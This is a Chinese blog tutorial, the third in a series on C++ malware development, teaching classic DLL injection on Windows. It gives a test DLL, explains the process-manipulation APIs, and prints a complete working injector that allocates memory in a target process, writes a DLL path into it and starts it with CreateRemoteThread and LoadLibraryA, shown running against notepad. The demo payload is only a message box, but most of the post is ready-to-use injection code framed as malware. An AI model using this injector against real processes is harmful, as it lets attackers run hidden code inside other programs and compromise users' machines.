C++恶意软件开发(三)经典DLL注入流程

发布时间 2023-04-18 15:05:30作者: 顾北清

什么是dll注入?

DLL注入允许将外部DLL文件加载到进程中并运行其中的代码。DLL(动态链接库)是一种可重用的代码库,它包含在多个程序中使用的函数、类、变量和其他程序代码。DLL注入技术可以通过将DLL文件注入到目标进程的地址空间中,从而允许程序能够访问其中的代码和数据。DLL注入通常用于许多不同的目的,包括增强程序的功能,修改程序的行为,以及执行恶意活动,如间谍软件或病毒。在某些情况下,DLL注入也可以用于调试或测试程序,或者在某些特定场景下进行一些修改或定制。(来自ChatGpt的解释)

生成dll文件

我这里使用DevCpp新建了dll项目


新建的项目有两个文件,一个是dll.h,一个是dllmain.cpp,将这两个文件修改为如下代码,在dll被映射到了进程的地址空间时弹窗:
dll.h代码:

#ifndef _DLL_H_
#define _DLL_H_

#if BUILDING_DLL
#define DLLIMPORT __declspec(dllexport)
#else
#define DLLIMPORT __declspec(dllimport)
#endif

class DLLIMPORT DllClass
{
	
};

#endif

dllmain.cpp代码:

/* Replace "dll.h" with the name of your header */
#include "dll.h"
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
	switch(fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		{
			//当这个DLL被映射到了进程的地址空间时
			MessageBox(0, "inj!\n","inj",MB_ICONINFORMATION);
			break;
		}
		case DLL_PROCESS_DETACH:
		{
			//这个DLL从进程的地址空间中解除映射
			break;
		}
		case DLL_THREAD_ATTACH:
		{
			//一个线程正在被创建
			break;
		}
		case DLL_THREAD_DETACH:
		{
			//线程终结
			break;
		}
	}
	
	/* Return TRUE on success, FALSE on failure */
	return TRUE;
}

然后进行编译得到test.dll文件。

编写注入文件

主要步骤如下:

  • (1)打开目标进程
  • (2)分配目标进程的内存
  • (3)将dll加载到目标进程
  • (4)在目标进程中创建新的线程

这里涉及到的函数有:
(1)OpenProcess:用于打开指定进程的句柄,以便在进程间进行通信或操作。

HANDLE OpenProcess(
  DWORD dwDesiredAccess,  // 访问权限
  BOOL  bInheritHandle,   // 是否继承句柄
  DWORD dwProcessId       // 进程ID
);

(2)VirtualAllocEx:为远程进程分配内存缓冲区,这个函数可以用于实现共享内存,动态加载DLL文件,以及创建线程栈等操作。

LPVOID VirtualAllocEx(
  HANDLE hProcess,       // 目标进程句柄
  LPVOID lpAddress,      // 分配的内存地址
  SIZE_T dwSize,         // 分配的内存大小
  DWORD flAllocationType,// 内存分配类型
  DWORD flProtect        // 内存保护属性
);

(3)WriteProcessMemory:在进程之间复制数据,该函数可用于在不同进程之间共享数据,或者在同一进程中的不同线程之间共享数据。:

BOOL WriteProcessMemory(
  HANDLE  hProcess,      // 目标进程句柄
  LPVOID  lpBaseAddress, // 目标内存地址
  LPCVOID lpBuffer,      // 写入数据的缓冲区
  SIZE_T  nSize,         // 写入数据的大小
  SIZE_T  *lpNumberOfBytesWritten // 实际写入数据的大小
);

(4)CreateRemoteThread:用于在指定进程中创建一个远程线程,并在远程线程中执行指定的函数。该函数可用于在不同进程之间执行函数,或者在同一进程中的不同线程之间执行函数。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,         // 目标进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes,// 线程安全属性
  SIZE_T                 dwStackSize,      // 线程栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,   // 线程入口地址
  LPVOID                 lpParameter,      // 线程参数
  DWORD                  dwCreationFlags,  // 线程创建标志
  LPDWORD                lpThreadId        // 线程ID
);

(5)WaitForSingleObject:用于等待一个指定的对象变为有信号状态。

DWORD WaitForSingleObject(
  HANDLE hHandle,  // 要等待的对象的句柄
  DWORD  dwMilliseconds  // 等待时间,以毫秒为单位
);

(6)VirtualFreeEx:用于释放指定进程中的虚拟内存。

BOOL VirtualFreeEx(
  HANDLE hProcess,  // 要释放虚拟内存的进程的句柄
  LPVOID lpAddress,  // 要释放的虚拟内存的起始地址
  SIZE_T dwSize,  // 要释放的虚拟内存的大小,以字节为单位
  DWORD  dwFreeType  // 释放类型
);

完整代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\Users\\16537\\Desktop\\test.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {
	HANDLE ph; // 进程句柄 
	HANDLE rt; // 远程线程 
	LPVOID rb; // 远程内存 

	// 获取LoadLibraryA函数的地址
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = (VOID *)GetProcAddress(hKernel32, "LoadLibraryA");

	// 判断进程是否存在 
	if ( atoi(argv[1]) == 0) {
		printf("PID not found!\n");
		return -1;
	}
	printf("PID: %i", atoi(argv[1]));
	
	// 打开目标进程
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

	// 分配远程进程的内存 
	rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

	// 在进程间复制dll 
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

	// 在目标进程中创建新的线程
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  
	// 等待远程线程执行结束
	WaitForSingleObject(rt, INFINITE);

	// 清理内存空间
	VirtualFreeEx(ph, rb, 0, evilLen);
  
	CloseHandle(ph);
	CloseHandle(rt);
	
  	return 0;
}

这里将dll注入到notepad中,先打开一个记事本,通过processhacker找到PID:

接着编译上面的代码得到evil_inj.exe,再运行这个exe

可以看到注入成功,在processhacker中可以看到notepad加载了test.dll